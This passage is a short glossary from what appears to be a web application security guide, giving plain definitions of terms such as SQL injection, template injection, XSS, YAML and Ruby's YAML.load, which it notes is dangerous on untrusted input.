- Source: a place in code where data enters the application, such as a form field.
- SQL: the language databases use to store and retrieve data.
- SQL injection: a flaw where user text is pasted into a database query and can rewrite it.
- Template injection: a flaw where user text is treated as template code and run.
- UUID: a long random-looking identifier used to name things uniquely.
- View: the part of a web application that produces the pages you see.
- XSS (cross-site scripting): a flaw that lets an attacker get their code into a page other people view.
- YAML: a human-friendly text format for describing data, often used for configuration.
- YAML.load: the Ruby function that reads YAML text and rebuilds the objects it describes; dangerous on untrusted input.